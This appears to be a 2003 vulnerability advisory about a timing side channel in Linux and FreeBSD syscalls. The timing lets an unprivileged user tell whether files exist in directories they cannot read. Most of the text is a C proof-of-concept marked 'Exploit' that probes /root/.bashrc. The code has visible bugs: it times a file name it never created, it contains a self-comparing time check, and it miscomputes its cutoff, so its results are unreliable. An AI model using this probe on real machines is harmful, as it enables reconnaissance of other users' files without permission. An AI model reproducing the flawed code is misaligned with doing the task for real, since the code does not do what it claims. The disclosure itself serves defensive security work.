6th Apr 2003 [SBWID-6105]
COMMAND
Syscall implementation could lead to whether or not a file exists
SYSTEMS AFFECTED
Tested:
- RedHat kernel 2.4.18-26.7.x (second latest ;))
- RedHat kernel 2.4.18-27.7.x
- Debian 3.0 box
- FreeBSD 4.4
PROBLEM
Andrew Griffiths [[email protected]] found :
By timing how long it takes for the system call to return, you can
pretty tell whether or not the file exists, because the failure time is
in my testing, three times shorter than if the file exists.
To illistrate, here is an example of the attached program running with
the open() call. I would think other syscalls such as stat(), mkdir(),
chdir(), etc would disclose whether or not a file exists.
[+] creating unreachable
[+] creating unreachable/iexist
[+] chmod 0'ing unreachable
[+] d--------- 2 andrewg andrewg 4096 Mar 20 20:37 unreachable/
[+] Timing open() on unreachable/iexist
[+] Successful: 12 usecs, got Permission denied
[+] Timing open() on unreachable/non-existant
[+] Failure: 3 usecs, got Permission denied
[+] Using 3 as our cutoff.
[+] testing /root/.bashrc and /root/non-existant
[+] /root/.bashrc exists (4 usecs), got Permission denied
[+] /root/non-existant doesn't exist (2 usecs), got Permission denied
After a while of experimentation, I found that the following
formuala seems to be relatively decent at avoiding false
positivites, on my RH box.
cutoff = ((success_time + failure_time) / 3) - 2
This is somewhat dependant on the load on the box, and where the file
is located, though it appears.
On some OS's (notably freebsd in my testing) it will store the results
of into its cache (different to linux, in the sense that it throws off
the algo above.). Thus, if you just create a file and time open()ing
that, then compare it with a file that has been recently opened, you
don't get a fair comparsision.
Exploit
=======
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#ifndef O_NOFOLLOW
#define O_NOFOLLOW 0400000 /* don't follow links */
#endif
#ifndef O_LARGEFILE
#define O_LARGEFILE 0100000
#endif
int flags = O_RDONLY|O_EXCL|O_SYNC|O_NOCTTY|O_NOFOLLOW;
/* taken from scuts format string example/brute_blind example */
unsigned long int
tv_diff (struct timeval *tv_a, struct timeval *tv_b)
{
unsigned long int diff;
if (tv_a->tv_sec < tv_b->tv_sec ||
(tv_a->tv_sec == tv_b->tv_sec && tv_a->tv_sec <
tv_b->tv_sec))
{
struct timeval * tvtmp;
tvtmp = tv_b;
tv_b = tv_a;
tv_a = tvtmp;
}
diff = (tv_a->tv_sec - tv_b->tv_sec) * 1000000;
if (tv_a->tv_sec == tv_b->tv_sec) {
diff += tv_a->tv_usec - tv_b->tv_usec;
} else {
if (tv_a->tv_usec >= tv_b->tv_usec)
diff += tv_a->tv_usec - tv_b->tv_usec;
else
diff -= tv_b->tv_usec - tv_a->tv_usec;
}
return (diff);
}
void cleanup()
{
printf("[+] cleaning up\n");
if(chmod("unreachable", 0700)==-1) {
printf("\t[-] Unable to revert unreachable back to being reachable\n");
exit(EXIT_FAILURE);
}
if(unlink("unreachable/iexist")==-1) {
printf("\t[-] Unable to remove unreachable/iexist\n");
exit(EXIT_FAILURE);
}
if(rmdir("unreachable")==-1) {
printf("\t[-] Unable to rmdir unreachable\n");
exit(EXIT_FAILURE);
}
}
int main(int argc, char **argv)
{
struct timeval tv_a, tv_b;
int fd_a, fd_b;
char buf_a[500], buf_b[500];
unsigned int success, n, failure;
atexit(cleanup);
printf("[+] creating unreachable\n");
if(mkdir("unreachable", 0700)==-1) {
printf("\t[-] Unable to create unreachable\n");
exit(EXIT_FAILURE);
}
printf("[+] creating unreachable/iexist\n");
if((fd_a = creat("unreachable/iexist", 0700))==-1) {
printf("\t[-] Unable to create unreachable/iexist\n");
exit(EXIT_FAILURE);
}
close(fd_a);
printf("[+] chmod 0'ing unreachable\n");
if(chmod("unreachable", 00)==-1) {
printf("\t[-] Unable to chmod unreachable\n");
exit(EXIT_FAILURE);
}
printf("[+] "); fflush(stdout);
system("ls -alF | grep unreachable");
printf("[+] Timing open() on unreachable/iexist\n");
/* fd_a = open("unreachable/exists", flags);
close(fd_a); */
gettimeofday(&tv_a, NULL);
fd_a = open("unreachable/exists", flags);
gettimeofday(&tv_b, NULL);
printf("\t[+] Successful: %ld usecs, got %m\n", (success = tv_diff(&tv_b, &tv_a)));
close(fd_a);
printf("[+] Timing open() on unreachable/non-existant\n");
/* fd_b = open("unreachable/non-existant", flags);
close(fd_b); */
gettimeofday(&tv_a, NULL);
fd_b = open("unreachable/non-existant", flags);
gettimeofday(&tv_b, NULL);
printf("\t[+] Failure: %ld usecs, got %m\n", (failure = tv_diff(&tv_b, &tv_a)));
close(fd_b);
success += tv_diff(&tv_b, &tv_a);
success /= 3;
// success -= 2;
if(failure > success || success > (failure*8) ) {
printf("[-] It appears the load went up unexpectadly, mebe try re-running?\n");
exit(EXIT_FAILURE);
}
/* tweak the success value */
if((failure*4) >= success) success--;
if(success <= (failure*3)) success++;
printf("\t[+] Using %d as our cutoff.\n", success);
printf("[+] testing /root/.bashrc and /root/non-existant\n");
/* fd_a = open("/root/.bashrc", flags);
close(fd_a); */
gettimeofday(&tv_a, NULL);
fd_a = open("/root/.bashrc", flags);
gettimeofday(&tv_b, NULL);
if((n = tv_diff(&tv_b, &tv_a)) >= success) {
printf("\t[+] /root/.bashrc exists (%d usecs), got %m\n", n);
} else {
printf("\t[+] /root/.bashrc doesn't exist (%d usecs), got %m\n", n);
}
close(fd_a);
/* fd_b = open("/root/non-existant", flags);
close(fd_b); */
gettimeofday(&tv_a, NULL);
fd_b = open("/root/non-existant", flags);
gettimeofday(&tv_b, NULL);
if((n = tv_diff(&tv_b, &tv_a)) >= success) {
printf("\t[+] /root/non-existant exists (%d usecs), got %m\n", n);
} else {
printf("\t[+] /root/non-existant doesn't exist (%d usecs), got %m\n", n);
}
close(fd_b);
}
SOLUTION
Not known